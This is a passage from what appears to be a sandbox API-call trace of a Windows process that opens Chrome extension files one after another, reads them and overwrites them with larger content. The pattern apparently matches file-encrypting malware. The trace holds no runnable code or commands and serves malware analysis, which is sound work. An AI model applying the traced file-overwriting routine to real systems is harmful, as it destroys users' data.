lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x318f2bc*=0x26e, lpOverlapped=0x0) returned 1 [0050.497] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.497] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f6, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x7f6, lpOverlapped=0x0) returned 1 [0050.497] CloseHandle (hObject=0x1cc) returned 1 [0050.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.498] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.498] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x29c [0050.498] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.498] ReleaseMutex (hMutex=0x128) returned 1 [0050.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.498] ReadFile (in: hFile=0x1cc, lpBuffer=0x2739038, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x318f2bc*=0x29c, lpOverlapped=0x0) returned 1 [0050.531] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.531] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x824, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x824, lpOverlapped=0x0) returned 1 [0050.532] CloseHandle (hObject=0x1cc) returned 1 [0050.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.532] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.533] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x253 [0050.533] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.533] ReleaseMutex (hMutex=0x128) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.533] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x318f2bc*=0x253, lpOverlapped=0x0) returned 1 [0050.571] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.571] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7db, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x7db, lpOverlapped=0x0) returned 1 [0050.571] CloseHandle (hObject=0x1cc) returned 1 [0050.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0050.584] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.584] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xef [0050.584] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.584] ReleaseMutex (hMutex=0x128) returned 1 [0050.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xef, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xef, lpOverlapped=0x0) returned 1 [0050.585] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.585] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x677, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x677, lpOverlapped=0x0) returned 1 [0050.585] CloseHandle (hObject=0x1b0) returned 1 [0050.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.655] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.655] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xf2 [0050.655] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.655] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.655] ReleaseMutex (hMutex=0x128) returned 1 [0050.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.655] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xf2, lpOverlapped=0x0) returned 1 [0050.656] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.656] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67a, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x67a, lpOverlapped=0x0) returned 1 [0050.656] CloseHandle (hObject=0x1d4) returned 1 [0050.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.657] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.657] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdf [0050.657] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.657] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.657] ReleaseMutex (hMutex=0x128) returned 1 [0050.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.657] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdf, lpOverlapped=0x0) returned 1 [0050.658] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.658] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x667, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x667, lpOverlapped=0x0) returned 1 [0050.658] CloseHandle (hObject=0x1d4) returned 1 [0050.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.673] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.673] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe8 [0050.673] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.673] ReleaseMutex (hMutex=0x128) returned 1 [0050.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.673] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0050.674] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.674] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x670, lpOverlapped=0x0) returned 1 [0050.675] CloseHandle (hObject=0x1d4) returned 1 [0050.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.676] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.676] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1a1d [0050.676] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.676] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.676] ReleaseMutex (hMutex=0x128) returned 1 [0050.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app.css", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cast_app.css", lpUsedDefaultChar=0x0) returned 12 [0050.676] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1a1d, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f2bc*=0x1a1d, lpOverlapped=0x0) returned 1 [0050.711] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0050.712] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1fa5, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x318f2d0*=0x1fa5, lpOverlapped=0x0) returned 1 [0050.712] CloseHandle (hObject=0x1d4) returned 1 [0050.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xc878 [0050.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.724] ReleaseMutex (hMutex=0x128) returned 1 [0050.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="common.js", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="common.js", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="common.js", lpUsedDefaultChar=0x0) returned 9 [0050.724] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de7be8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7be8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0050.741] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xb878 [0050.742] ReadFile (in: hFile=0x1d4, lpBuffer=0x1defc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defc48*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.747] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xb878 [0050.747] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0050.748] WriteFile (in: hFile=0x1d4, lpBuffer=0x27f64c8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f64c8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0050.748] CloseHandle (hObject=0x1d4) returned 1 [0050.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.748] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4827 [0050.749] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.749] ReleaseMutex (hMutex=0x128) returned 1 [0050.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.749] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.749] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.757] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3827 [0050.757] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.760] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3827 [0050.761] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.761] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0050.761] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.761] CloseHandle (hObject=0x1d4) returned 1 [0050.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 